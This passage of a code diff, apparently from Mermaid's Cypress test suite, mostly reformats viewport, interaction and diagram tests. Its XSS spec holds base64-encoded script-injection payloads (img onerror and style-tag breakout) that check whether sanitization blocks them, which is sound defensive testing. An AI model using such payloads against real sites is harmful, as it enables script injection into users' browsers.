expect(str).to.eq('foo');
expect(waited).to.be.true;
})
);
});
});

View File

@@ -2,22 +2,22 @@
context('Viewport', () => {
beforeEach(() => {
cy.visit('https://example.cypress.io/commands/viewport')
})
cy.visit('https://example.cypress.io/commands/viewport');
});
it('cy.viewport() - set the viewport size and dimension', () => {
// https://on.cypress.io/viewport
cy.get('#navbar').should('be.visible')
cy.viewport(320, 480)
cy.get('#navbar').should('be.visible');
cy.viewport(320, 480);
// the navbar should have collapse since our screen is smaller
cy.get('#navbar').should('not.be.visible')
cy.get('.navbar-toggle').should('be.visible').click()
cy.get('.nav').find('a').should('be.visible')
cy.get('#navbar').should('not.be.visible');
cy.get('.navbar-toggle').should('be.visible').click();
cy.get('.nav').find('a').should('be.visible');
// lets see what our app looks like on a super large screen
cy.viewport(2999, 2999)
cy.viewport(2999, 2999);
// cy.viewport() accepts a set of preset sizes
// to easily set the screen to a device's width and height
@@ -25,35 +25,35 @@ context('Viewport', () => {
// We added a cy.wait() between each viewport change so you can see
// the change otherwise it is a little too fast to see :)
cy.viewport('macbook-15')
cy.wait(200)
cy.viewport('macbook-13')
cy.wait(200)
cy.viewport('macbook-11')
cy.wait(200)
cy.viewport('ipad-2')
cy.wait(200)
cy.viewport('ipad-mini')
cy.wait(200)
cy.viewport('iphone-6+')
cy.wait(200)
cy.viewport('iphone-6')
cy.wait(200)
cy.viewport('iphone-5')
cy.wait(200)
cy.viewport('iphone-4')
cy.wait(200)
cy.viewport('iphone-3')
cy.wait(200)
cy.viewport('macbook-15');
cy.wait(200);
cy.viewport('macbook-13');
cy.wait(200);
cy.viewport('macbook-11');
cy.wait(200);
cy.viewport('ipad-2');
cy.wait(200);
cy.viewport('ipad-mini');
cy.wait(200);
cy.viewport('iphone-6+');
cy.wait(200);
cy.viewport('iphone-6');
cy.wait(200);
cy.viewport('iphone-5');
cy.wait(200);
cy.viewport('iphone-4');
cy.wait(200);
cy.viewport('iphone-3');
cy.wait(200);
// cy.viewport() accepts an orientation for all presets
// the default orientation is 'portrait'
cy.viewport('ipad-2', 'portrait')
cy.wait(200)
cy.viewport('iphone-4', 'landscape')
cy.wait(200)
cy.viewport('ipad-2', 'portrait');
cy.wait(200);
cy.viewport('iphone-4', 'landscape');
cy.wait(200);
// The viewport will be reset back to the default dimensions
// in between tests (the default can be set in cypress.json)
})
})
});
});

View File

@@ -2,33 +2,32 @@
context('Waiting', () => {
beforeEach(() => {
cy.visit('https://example.cypress.io/commands/waiting')
})
cy.visit('https://example.cypress.io/commands/waiting');
});
// BE CAREFUL of adding unnecessary wait times.
// https://on.cypress.io/best-practices#Unnecessary-Waiting
// https://on.cypress.io/wait
it('cy.wait() - wait for a specific amount of time', () => {
cy.get('.wait-input1').type('Wait 1000ms after typing')
cy.wait(1000)
cy.get('.wait-input2').type('Wait 1000ms after typing')
cy.wait(1000)
cy.get('.wait-input3').type('Wait 1000ms after typing')
cy.wait(1000)
})
cy.get('.wait-input1').type('Wait 1000ms after typing');
cy.wait(1000);
cy.get('.wait-input2').type('Wait 1000ms after typing');
cy.wait(1000);
cy.get('.wait-input3').type('Wait 1000ms after typing');
cy.wait(1000);
});
it('cy.wait() - wait for a specific route', () => {
cy.server()
cy.server();
// Listen to GET to comments/1
cy.route('GET', 'comments/*').as('getComment')
cy.route('GET', 'comments/*').as('getComment');
// we have code that gets a comment when
// the button is clicked in scripts.js
cy.get('.network-btn').click()
cy.get('.network-btn').click();
// wait for GET comments/1
cy.wait('@getComment').its('status').should('eq', 200)
})
})
cy.wait('@getComment').its('status').should('eq', 200);
});
});

View File

@@ -2,21 +2,21 @@
context('Window', () => {
beforeEach(() => {
cy.visit('https://example.cypress.io/commands/window')
})
cy.visit('https://example.cypress.io/commands/window');
});
it('cy.window() - get the global window object', () => {
// https://on.cypress.io/window
cy.window().should('have.property', 'top')
})
cy.window().should('have.property', 'top');
});
it('cy.document() - get the document object', () => {
// https://on.cypress.io/document
cy.document().should('have.property', 'charset').and('eq', 'UTF-8')
})
cy.document().should('have.property', 'charset').and('eq', 'UTF-8');
});
it('cy.title() - get the title', () => {
// https://on.cypress.io/title
cy.title().should('include', 'Kitchen Sink')
})
})
cy.title().should('include', 'Kitchen Sink');
});
});

View File

@@ -1,5 +1,5 @@
{
"name": "Using fixtures to represent data",
"email": "hello@cypress.io",
"body": "Fixtures are a great way to mock data for responses to routes"
{
"name": "Using fixtures to represent data",
"email": "hello@cypress.io",
"body": "Fixtures are a great way to mock data for responses to routes"
}

View File

@@ -1,11 +1,9 @@
/* eslint-env jest */
/* global cy */
import { Base64 } from 'js-base64';
export const mermaidUrl = (graphStr, options, api) => {
const obj = {
code: graphStr,
mermaid: options
mermaid: options,
};
const objStr = JSON.stringify(obj);
let url = 'http://localhost:9000/e2e.html?graph=' + Base64.encodeURI(objStr);

View File

@@ -1,5 +1,4 @@
import { renderGraph } from '../../helpers/util';
/* eslint-env jest */
describe('Configuration', () => {
describe('arrowMarkerAbsolute', () => {
it('should handle default value false of arrowMarkerAbsolute', () => {
@@ -11,12 +10,14 @@ describe('Configuration', () => {
C -->|Two| E[iPhone]
C -->|Three| F[fa:fa-car Car]
`,
{ }
{}
);
// Check the marker-end property to make sure it is properly set to
// start with #
cy.get('.edgePath path').first().should('have.attr', 'marker-end')
cy.get('.edgePath path')
.first()
.should('have.attr', 'marker-end')
.should('exist')
.and('include', 'url(#');
});
@@ -29,12 +30,14 @@ describe('Configuration', () => {
C -->|Two| E[iPhone]
C -->|Three| F[fa:fa-car Car]
`,
{ }
{}
);
// Check the marker-end property to make sure it is properly set to
// start with #
cy.get('.edgePath path').first().should('have.attr', 'marker-end')
cy.get('.edgePath path')
.first()
.should('have.attr', 'marker-end')
.should('exist')
.and('include', 'url(#');
});
@@ -48,13 +51,15 @@ describe('Configuration', () => {
C -->|Three| F[fa:fa-car Car]
`,
{
arrowMarkerAbsolute: false
arrowMarkerAbsolute: false,
}
);
// Check the marker-end property to make sure it is properly set to
// start with #
cy.get('.edgePath path').first().should('have.attr', 'marker-end')
cy.get('.edgePath path')
.first()
.should('have.attr', 'marker-end')
.should('exist')
.and('include', 'url(#');
});
@@ -68,13 +73,15 @@ describe('Configuration', () => {
C -->|Three| F[fa:fa-car Car]
`,
{
arrowMarkerAbsolute: "false"
arrowMarkerAbsolute: 'false',
}
);
// Check the marker-end property to make sure it is properly set to
// start with #
cy.get('.edgePath path').first().should('have.attr', 'marker-end')
cy.get('.edgePath path')
.first()
.should('have.attr', 'marker-end')
.should('exist')
.and('include', 'url(#');
});
@@ -88,13 +95,23 @@ describe('Configuration', () => {
C -->|Three| F[fa:fa-car Car]
`,
{
arrowMarkerAbsolute: true
arrowMarkerAbsolute: true,
}
);
cy.get('.edgePath path').first().should('have.attr', 'marker-end')
cy.get('.edgePath path')
.first()
.should('have.attr', 'marker-end')
.should('exist')
.and('include', 'url(http://localhost');
});
it('should not taint the initial configuration when using multiple directives', () => {
const url = 'http://localhost:9000/regression/issue-1874.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('svg');
cy.percySnapshot();
});
});
});

View File

@@ -1,35 +1,36 @@
/* eslint-env jest */
describe('Interaction', () => {
describe('Interaction - security level loose', () => {
it('Graph: should handle a click on a node with a bound function', () => {
const url = 'http://localhost:9000/click_security_loose.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('body')
.find('g#flowchart-Function-2')
.click();
cy.get('body').find('g#flowchart-Function-2').click();
cy.get('.created-by-click').should('have.text', 'Clicked By Flow');
});
it('Graph: should handle a click on a node with a bound function where the node starts with a number', () => {
it('Graph: should handle a click on a node with a bound function with args', () => {
const url = 'http://localhost:9000/click_security_loose.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('body')
.find('g[id="flowchart-1Function-6"]')
.click();
cy.get('body').find('g#flowchart-FunctionArg-18').click();
cy.get('.created-by-click').should('have.text', 'Clicked By Flow');
cy.get('.created-by-click-2').should('have.text', 'Clicked By Flow: ARGUMENT');
});
it('Flowchart: should handle a click on a node with a bound function where the node starts with a number', () => {
const url = 'http://localhost:9000/click_security_loose.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('body').find('g[id="flowchart-FunctionArg-22"]').click();
cy.get('.created-by-click-2').should('have.text', 'Clicked By Flow: ARGUMENT');
});
it('Graph: should handle a click on a node with a bound url', () => {
const url = 'http://localhost:9000/click_security_loose.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('body')
.find('#flowchart-URL-3')
.click();
cy.get('body').find('#flowchart-URL-3').click();
cy.location().should(location => {
cy.location().should((location) => {
expect(location.href).to.eq('http://localhost:9000/webpackUsage.html');
});
});
@@ -37,11 +38,9 @@ describe('Interaction', () => {
const url = 'http://localhost:9000/click_security_loose.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('body')
.find('g[id="flowchart-2URL-7"]')
.click();
cy.get('body').find('g[id="flowchart-2URL-7"]').click();
cy.location().should(location => {
cy.location().should((location) => {
expect(location.href).to.eq('http://localhost:9000/webpackUsage.html');
});
});
@@ -50,9 +49,7 @@ describe('Interaction', () => {
const url = 'http://localhost:9000/click_security_loose.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('body')
.find('g#flowchart-Function-10')
.click();
cy.get('body').find('g#flowchart-Function-10').click();
cy.get('.created-by-click').should('have.text', 'Clicked By Flow');
});
@@ -60,9 +57,7 @@ describe('Interaction', () => {
const url = 'http://localhost:9000/click_security_loose.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('body')
.find('g[id="flowchart-1Function-14"]')
.click();
cy.get('body').find('g[id="flowchart-1Function-14"]').click();
cy.get('.created-by-click').should('have.text', 'Clicked By Flow');
});
@@ -70,11 +65,9 @@ describe('Interaction', () => {
const url = 'http://localhost:9000/click_security_loose.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('body')
.find('#flowchart-URL-11')
.click();
cy.get('body').find('#flowchart-URL-11').click();
cy.location().should(location => {
cy.location().should((location) => {
expect(location.href).to.eq('http://localhost:9000/webpackUsage.html');
});
});
@@ -82,11 +75,9 @@ describe('Interaction', () => {
const url = 'http://localhost:9000/click_security_loose.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('body')
.find('g[id="flowchart-2URL-15"]')
.click();
cy.get('body').find('g[id="flowchart-2URL-15"]').click();
cy.location().should(location => {
cy.location().should((location) => {
expect(location.href).to.eq('http://localhost:9000/webpackUsage.html');
});
});
@@ -95,11 +86,9 @@ describe('Interaction', () => {
const url = 'http://localhost:9000/click_security_loose.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('body')
.find('rect#cl1')
.click({ force: true });
cy.get('body').find('rect#cl1').click({ force: true });
cy.location().should(location => {
cy.location().should((location) => {
expect(location.href).to.eq('http://localhost:9000/webpackUsage.html');
});
});
@@ -107,11 +96,9 @@ describe('Interaction', () => {
const url = 'http://localhost:9000/click_security_loose.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('body')
.find('text#cl1-text')
.click({ force: true });
cy.get('body').find('text#cl1-text').click({ force: true });
cy.location().should(location => {
cy.location().should((location) => {
expect(location.href).to.eq('http://localhost:9000/webpackUsage.html');
});
});
@@ -119,9 +106,7 @@ describe('Interaction', () => {
const url = 'http://localhost:9000/click_security_loose.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('body')
.find('rect#cl2')
.click({ force: true });
cy.get('body').find('rect#cl2').click({ force: true });
cy.get('.created-by-gant-click').should('have.text', 'Clicked By Gant cl2');
});
@@ -129,9 +114,7 @@ describe('Interaction', () => {
const url = 'http://localhost:9000/click_security_loose.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('body')
.find('rect#cl3')
.click({ force: true });
cy.get('body').find('rect#cl3').click({ force: true });
cy.get('.created-by-gant-click').should('have.text', 'Clicked By Gant test1 test2 test3');
});
@@ -140,9 +123,7 @@ describe('Interaction', () => {
const url = 'http://localhost:9000/click_security_loose.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('body')
.find('text#cl2-text')
.click({ force: true });
cy.get('body').find('text#cl2-text').click({ force: true });
cy.get('.created-by-gant-click').should('have.text', 'Clicked By Gant cl2');
});
@@ -150,13 +131,10 @@ describe('Interaction', () => {
const url = 'http://localhost:9000/click_security_loose.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('body')
.find('text#cl3-text')
.click({ force: true });
cy.get('body').find('text#cl3-text').click({ force: true });
cy.get('.created-by-gant-click').should('have.text', 'Clicked By Gant test1 test2 test3');
});
});
describe('Interaction - security level tight', () => {
@@ -164,31 +142,27 @@ describe('Interaction', () => {
const url = 'http://localhost:9000/click_security_strict.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('body')
.find('g#flowchart-Function-2')
.click();
cy.get('body').find('g#flowchart-Function-2').click();
cy.get('.created-by-click').should('not.have.text', 'Clicked By Flow');
cy.get('.created-by-click').should('not.exist');
// cy.get('.created-by-click').should('not.have.text', 'Clicked By Flow');
});
it('should handle a click on a node with a bound function where the node starts with a number', () => {
const url = 'http://localhost:9000/click_security_strict.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('body')
.find('g[id="flowchart-1Function-6"]')
.click();
cy.get('body').find('g[id="flowchart-1Function-6"]').click();
cy.get('.created-by-click').should('not.have.text', 'Clicked By Flow');
// cy.get('.created-by-click').should('not.have.text', 'Clicked By Flow');
cy.get('.created-by-click').should('not.exist');
});
it('should handle a click on a node with a bound url', () => {
const url = 'http://localhost:9000/click_security_strict.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('body')
.find('g#flowchart-URL-3')
.click();
cy.get('body').find('g#flowchart-URL-3').click();
cy.location().should(location => {
cy.location().should((location) => {
expect(location.href).to.eq('http://localhost:9000/webpackUsage.html');
});
});
@@ -196,11 +170,9 @@ describe('Interaction', () => {
const url = 'http://localhost:9000/click_security_strict.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('body')
.find('g[id="flowchart-2URL-7"]')
.click();
cy.get('body').find('g[id="flowchart-2URL-7"]').click();
cy.location().should(location => {
cy.location().should((location) => {
expect(location.href).to.eq('http://localhost:9000/webpackUsage.html');
});
});
@@ -209,11 +181,9 @@ describe('Interaction', () => {
const url = 'http://localhost:9000/click_security_strict.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('body')
.find('rect#cl1')
.click({ force: true });
cy.get('body').find('rect#cl1').click({ force: true });
cy.location().should(location => {
cy.location().should((location) => {
expect(location.href).to.eq('http://localhost:9000/webpackUsage.html');
});
});
@@ -221,11 +191,9 @@ describe('Interaction', () => {
const url = 'http://localhost:9000/click_security_strict.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('body')
.find('text#cl1-text')
.click({ force: true });
cy.get('body').find('text#cl1-text').click({ force: true });
cy.location().should(location => {
cy.location().should((location) => {
expect(location.href).to.eq('http://localhost:9000/webpackUsage.html');
});
});
@@ -233,21 +201,19 @@ describe('Interaction', () => {
const url = 'http://localhost:9000/click_security_strict.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('body')
.find('rect#cl2')
.click({ force: true });
cy.get('body').find('rect#cl2').click({ force: true });
cy.get('.created-by-gant-click').should('not.have.text', 'Clicked By Gant cl2');
// cy.get('.created-by-gant-click').should('not.have.text', 'Clicked By Gant cl2');
cy.get('.created-by-gant-click').should('not.exist');
});
it('should handle a click on a task with a bound function', () => {
const url = 'http://localhost:9000/click_security_strict.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('body')
.find('text#cl2-text')
.click({ force: true });
cy.get('body').find('text#cl2-text').click({ force: true });
cy.get('.created-by-gant-click').should('not.have.text', 'Clicked By Gant cl2');
// cy.get('.created-by-gant-click').should('not.have.text', 'Clicked By Gant cl2');
cy.get('.created-by-gant-click').should('not.exist');
});
});
@@ -256,31 +222,27 @@ describe('Interaction', () => {
const url = 'http://localhost:9000/click_security_other.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('body')
.find('g#flowchart-Function-2')
.click();
cy.get('body').find('g#flowchart-Function-2').click();
cy.get('.created-by-click').should('not.have.text', 'Clicked By Flow');
// cy.get('.created-by-click').should('not.have.text', 'Clicked By Flow');
cy.get('.created-by-click').should('not.exist');
});
it('should handle a click on a node with a bound function where the node starts with a number', () => {
const url = 'http://localhost:9000/click_security_other.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('body')
.find('g[id="flowchart-1Function-6"]')
.click();
cy.get('body').find('g[id="flowchart-1Function-6"]').click();
cy.get('.created-by-click').should('not.have.text', 'Clicked By Flow');
cy.get('.created-by-click').should('not.exist');
cy.get('.created-by-click').should('not.exist');
});
it('should handle a click on a node with a bound url', () => {
const url = 'http://localhost:9000/click_security_other.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('body')
.find('g#flowchart-URL-3')
.click();
cy.get('body').find('g#flowchart-URL-3').click();
cy.location().should(location => {
cy.location().should((location) => {
expect(location.href).to.eq('http://localhost:9000/webpackUsage.html');
});
});
@@ -289,21 +251,17 @@ describe('Interaction', () => {
const url = 'http://localhost:9000/click_security_other.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('body')
.find('rect#cl2')
.click({ force: true });
cy.get('body').find('rect#cl2').click({ force: true });
cy.get('.created-by-gant-click').should('not.have.text', 'Clicked By Gant cl2');
cy.get('.created-by-gant-click').should('not.exist');
});
it('should handle a click on a task with a bound function', () => {
const url = 'http://localhost:9000/click_security_other.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('body')
.find('text#cl2-text')
.click({ force: true });
cy.get('body').find('text#cl2-text').click({ force: true });
cy.get('.created-by-gant-click').should('not.have.text', 'Clicked By Gant cl2');
cy.get('.created-by-gant-click').should('not.exist');
});
});
});

View File

@@ -1,22 +1,19 @@
/* eslint-env jest */
describe('Rerendering', () => {
it('should be able to render after an error has occured', () => {
const url = 'http://localhost:9000/render-after-error.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('#graphDiv').should('exist');
});
it('should be able to render after an error has occured', () => {
const url = 'http://localhost:9000/render-after-error.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('#graphDiv').should('exist');
});
it('should be able to render and rerender a graph via API', () => {
const url = 'http://localhost:9000/rerender.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('#graph [id^=flowchart-A]').should('have.text', 'XMas');
it('should be able to render and rerender a graph via API', () => {
const url = 'http://localhost:9000/rerender.html';
cy.viewport(1440, 1024);
cy.visit(url);
cy.get('#graph [id^=flowchart-A]').should('have.text', 'XMas');
cy.get('body')
.find('#rerender')
.click({ force: true });
cy.get('body').find('#rerender').click({ force: true });
cy.get('#graph [id^=flowchart-A]').should('have.text', 'Saturday');
});
cy.get('#graph [id^=flowchart-A]').should('have.text', 'Saturday');
});
});

View File

@@ -1,21 +1,16 @@
/* eslint-env jest */
describe('Sequencediagram', () => {
it('should render a simple sequence diagrams', () => {
const url = 'http://localhost:9000/webpackUsage.html';
cy.visit(url);
cy.get('body')
.find('svg')
.should('have.length', 1);
cy.get('body').find('svg').should('have.length', 1);
});
it('should handle html escapings properly', () => {
const url = 'http://localhost:9000/webpackUsage.html?test-html-escaping=true';
cy.visit(url);
cy.get('body')
.find('svg')
.should('have.length', 1);
cy.get('body').find('svg').should('have.length', 1);
cy.get('.label > g > foreignobject > div').should('not.contain.text', '<b>');
cy.get('g.label > foreignobject > div').should('not.contain.text', '<b>');
});
});

View File

@@ -1,35 +1,118 @@
/* eslint-env jest */
import { mermaidUrl } from '../../helpers/util.js';
/* eslint-disable */
describe('XSS', () => {
it('should handle xss in tags', () => {
const str = 'eyJjb2RlIjoiXG5ncmFwaCBMUlxuICAgICAgQi0tPkQoPGltZyBvbmVycm9yPWxvY2F0aW9uPWBqYXZhc2NyaXB0XFx1MDAzYXhzc0F0dGFja1xcdTAwMjhkb2N1bWVudC5kb21haW5cXHUwMDI5YCBzcmM9eD4pOyIsIm1lcm1haWQiOnsidGhlbWUiOiJkZWZhdWx0In19';
const str =
'eyJjb2RlIjoiXG5ncmFwaCBMUlxuICAgICAgQi0tPkQoPGltZyBvbmVycm9yPWxvY2F0aW9uPWBqYXZhc2NyaXB0XFx1MDAzYXhzc0F0dGFja1xcdTAwMjhkb2N1bWVudC5kb21haW5cXHUwMDI5YCBzcmM9eD4pOyIsIm1lcm1haWQiOnsidGhlbWUiOiJkZWZhdWx0In19';
const url = mermaidUrl(str,{}, true);
const url = mermaidUrl(str, {}, true);
cy.visit(url);
cy.wait(1000).then(()=>{
cy.wait(1000).then(() => {
cy.get('.mermaid').should('exist');
});
cy.get('svg')
// cy.percySnapshot()
cy.get('svg');
});
})
it('should handle xss in tags in non-html mode', () => {
const str = 'eyJjb2RlIjoiXG5ncmFwaCBMUlxuICAgICAgQi0tPkQoPGltZyBvbmVycm9yPWxvY2F0aW9uPWBqYXZhc2NyaXB0XFx1MDAzYXhzc0F0dGFja1xcdTAwMjhkb2N1bWVudC5kb21haW5cXHUwMDI5YCBzcmM9eD4pOyIsIm1lcm1haWQiOnsidGhlbWUiOiJkZWZhdWx0IiwiZmxvd2NoYXJ0Ijp7Imh0bWxMYWJlbHMiOmZhbHNlfX19';
it('should not allow tags in the css', () => {
const str =
'eyJjb2RlIjoiJSV7aW5pdDogeyAnZm9udEZhbWlseSc6ICdcXFwiPjwvc3R5bGU-PGltZyBzcmM9eCBvbmVycm9yPXhzc0F0dGFjaygpPid9IH0lJVxuZ3JhcGggTFJcbiAgICAgQSAtLT4gQiIsIm1lcm1haWQiOnsidGhlbWUiOiJkZWZhdWx0IiwiZmxvd2NoYXJ0Ijp7Imh0bWxMYWJlbHMiOmZhbHNlfX0sInVwZGF0ZUVkaXRvciI6ZmFsc2V9';
const url = mermaidUrl(str,{
"theme": "default",
"flowchart": {
"htmlMode": false
}
}, true);
const url = mermaidUrl(
str,
{
theme: 'default',
flowchart: {
htmlMode: false,
},
},
true
);
cy.visit(url);
// cy.get('svg')
// cy.percySnapshot()
cy.get('.malware').should('not.exist');
cy.wait(1000).then(() => {
cy.get('#the-malware').should('not.exist');
});
});
})
})
it('should handle xss in tags in non-html mode', () => {
const str =
'eyJjb2RlIjoiXG5ncmFwaCBMUlxuICAgICAgQi0tPkQoPGltZyBvbmVycm9yPWxvY2F0aW9uPWBqYXZhc2NyaXB0XFx1MDAzYXhzc0F0dGFja1xcdTAwMjhkb2N1bWVudC5kb21haW5cXHUwMDI5YCBzcmM9eD4pOyIsIm1lcm1haWQiOnsidGhlbWUiOiJkZWZhdWx0IiwiZmxvd2NoYXJ0Ijp7Imh0bWxMYWJlbHMiOmZhbHNlfX19';
const url = mermaidUrl(
str,
{
theme: 'default',
flowchart: {
htmlMode: false,
},
},
true
);
cy.visit(url);
cy.wait(1000);
cy.get('#the-malware').should('not.exist');
});
it('should not allow changing the __proto__ attribute using config', () => {
cy.visit('http://localhost:9000/xss2.html');
cy.wait(1000);
cy.get('#the-malware').should('not.exist');
});
it('should not allow maniplulating htmlLabels into a false positive', () => {
cy.visit('http://localhost:9000/xss4.html');
cy.wait(1000);
cy.get('#the-malware').should('not.exist');
});
it('should not allow maniplulating antiscript to run javascript', () => {
cy.visit('http://localhost:9000/xss5.html');
cy.wait(1000);
cy.get('#the-malware').should('not.exist');
});
it('should not allow maniplulating antiscript to run javascript using onerror', () => {
cy.visit('http://localhost:9000/xss6.html');
cy.wait(1000);
cy.get('#the-malware').should('not.exist');
});
it('should not allow maniplulating antiscript to run javascript using onerror in state diagrams with dagre wrapper', () => {
cy.visit('http://localhost:9000/xss8.html');
cy.wait(1000);
cy.get('#the-malware').should('not.exist');
});
it('should not allow maniplulating antiscript to run javascript using onerror in state diagrams with dagre d3', () => {
cy.visit('http://localhost:9000/xss9.html');
cy.wait(1000);
cy.get('#the-malware').should('not.exist');
});
it('should not allow maniplulating antiscript to run javascript using onerror in state diagrams with dagre d3', () => {
cy.visit('http://localhost:9000/xss10.html');
cy.wait(1000);
cy.get('#the-malware').should('not.exist');
});
it('should not allow maniplulating antiscript to run javascript using onerror in state diagrams with dagre d3', () => {
cy.visit('http://localhost:9000/xss11.html');
cy.wait(1000);
cy.get('#the-malware').should('not.exist');
});
it('should not allow maniplulating antiscript to run javascript using onerror in state diagrams with dagre d3', () => {
cy.visit('http://localhost:9000/xss12.html');
cy.wait(1000);
cy.get('#the-malware').should('not.exist');
});
it('should not allow maniplulating antiscript to run javascript using onerror in state diagrams with dagre d3', () => {
cy.visit('http://localhost:9000/xss13.html');
cy.wait(1000);
cy.get('#the-malware').should('not.exist');
});
it('should not allow maniplulating antiscript to run javascript iframes in class diagrams', () => {
cy.visit('http://localhost:9000/xss14.html');
cy.wait(1000);
cy.get('#the-malware').should('not.exist');
});
it('should sanitize cardinalities properly in class diagrams', () => {
cy.visit('http://localhost:9000/xss18.html');
cy.wait(1000);
cy.get('#the-malware').should('not.exist');
});
});

View File

@@ -1,10 +1,8 @@
/* eslint-env jest */
import { imgSnapshotTest } from '../../helpers/util';
describe('Class diagram V2', () => {
it('0: should render a simple class diagram', () => {
imgSnapshotTest(
`
it('0: should render a simple class diagram', () => {
imgSnapshotTest(
`
classDiagram-v2
classA -- classB : Inheritance
@@ -13,10 +11,10 @@ describe('Class diagram V2', () => {
classB -- classD
`,
{logLevel : 1, flowchart: { "htmlLabels": false },}
);
cy.get('svg');
});
{ logLevel: 1, flowchart: { htmlLabels: false } }
);
cy.get('svg');
});
it('1: should render a simple class diagram', () => {
imgSnapshotTest(
@@ -47,7 +45,7 @@ describe('Class diagram V2', () => {
test()
}
`,
{logLevel : 1, flowchart: { "htmlLabels": false },}
{ logLevel: 1, flowchart: { htmlLabels: false } }
);
cy.get('svg');
});
@@ -76,8 +74,7 @@ describe('Class diagram V2', () => {
test()
}
`,
{logLevel : 1, flowchart: { "htmlLabels": false },}
{ logLevel: 1, flowchart: { htmlLabels: false } }
);
cy.get('svg');
});
@@ -95,7 +92,7 @@ describe('Class diagram V2', () => {
Class01 : +int publicGorilla
Class01 : #int protectedMarmoset
`,
{logLevel : 1, flowchart: { "htmlLabels": false },}
{ logLevel: 1, flowchart: { htmlLabels: false } }
);
cy.get('svg');
});
@@ -103,7 +100,7 @@ describe('Class diagram V2', () => {
it('should render multiple class diagrams', () => {
imgSnapshotTest(
[
`
`
classDiagram-v2
Class01 "1" <|--|> "*" AveryLongClass : Cool
&lt;&lt;interface&gt;&gt; Class01
@@ -125,7 +122,7 @@ describe('Class diagram V2', () => {
test()
}
`,
`
`
classDiagram-v2
Class01 "1" <|--|> "*" AveryLongClass : Cool
&lt;&lt;interface&gt;&gt; Class01
@@ -148,7 +145,7 @@ describe('Class diagram V2', () => {
}
`,
],
{logLevel : 1, flowchart: { "htmlLabels": false },}
{ logLevel: 1, flowchart: { htmlLabels: false } }
);
cy.get('svg');
});
@@ -178,7 +175,7 @@ describe('Class diagram V2', () => {
test()
}
`,
{logLevel : 1, flowchart: { "htmlLabels": false },}
{ logLevel: 1, flowchart: { htmlLabels: false } }
);
cy.get('svg');
});
@@ -190,7 +187,7 @@ describe('Class diagram V2', () => {
Class01 <|-- AveryLongClass : Cool
Class01 : someMethod()*
`,
{logLevel : 1, flowchart: { "htmlLabels": false },}
{ logLevel: 1, flowchart: { htmlLabels: false } }
);
cy.get('svg');
});
@@ -202,7 +199,7 @@ describe('Class diagram V2', () => {
Class01 <|-- AveryLongClass : Cool
Class01 : someMethod()$
`,
{logLevel : 1, flowchart: { "htmlLabels": false },}
{ logLevel: 1, flowchart: { htmlLabels: false } }
);
cy.get('svg');
});
@@ -222,7 +219,7 @@ describe('Class diagram V2', () => {
test()
}
`,
{logLevel : 1, flowchart: { "htmlLabels": false },}
{ logLevel: 1, flowchart: { htmlLabels: false } }
);
cy.get('svg');
});
@@ -243,7 +240,7 @@ describe('Class diagram V2', () => {
test()
}
`,
{logLevel : 1, flowchart: { "htmlLabels": false },}
{ logLevel: 1, flowchart: { htmlLabels: false } }
);
cy.get('svg');
});
@@ -265,7 +262,7 @@ describe('Class diagram V2', () => {
}
link Class01 "google.com" "A Tooltip"
`,
{logLevel : 1, flowchart: { "htmlLabels": false },}
{ logLevel: 1, flowchart: { htmlLabels: false } }
);
cy.get('svg');
});
@@ -287,7 +284,7 @@ describe('Class diagram V2', () => {
}
callback Class01 "functionCall" "A Tooltip"
`,
{logLevel : 1, flowchart: { "htmlLabels": false },}
{ logLevel: 1, flowchart: { htmlLabels: false } }
);
cy.get('svg');
});
@@ -302,7 +299,7 @@ describe('Class diagram V2', () => {
testArray() bool[]
}
`,
{logLevel : 1, flowchart: { "htmlLabels": false },}
{ logLevel: 1, flowchart: { htmlLabels: false } }
);
cy.get('svg');
});
@@ -318,7 +315,7 @@ describe('Class diagram V2', () => {
testArray() bool[]
}
`,
{logLevel : 1, flowchart: { "htmlLabels": false },}
{ logLevel: 1, flowchart: { htmlLabels: false } }
);
cy.get('svg');
});
@@ -336,7 +333,7 @@ describe('Class diagram V2', () => {
cssClass "Class10" exClass2
`,
{logLevel : 1, flowchart: { "htmlLabels": false },}
{ logLevel: 1, flowchart: { htmlLabels: false } }
);
cy.get('svg');
});
@@ -352,7 +349,7 @@ describe('Class diagram V2', () => {
testArray() bool[]
}
`,
{logLevel : 1, flowchart: { "htmlLabels": false },}
{ logLevel: 1, flowchart: { htmlLabels: false } }
);
cy.get('svg');
});
@@ -366,7 +363,118 @@ describe('Class diagram V2', () => {
cssClass "Class10, class20" exClass2
`,
{logLevel : 1, flowchart: { "htmlLabels": false },}
{ logLevel: 1, flowchart: { htmlLabels: false } }
);
cy.get('svg');
});
it('16a: should render a simple class diagram with static field', () => {
imgSnapshotTest(
`
classDiagram-v2
class Foo {
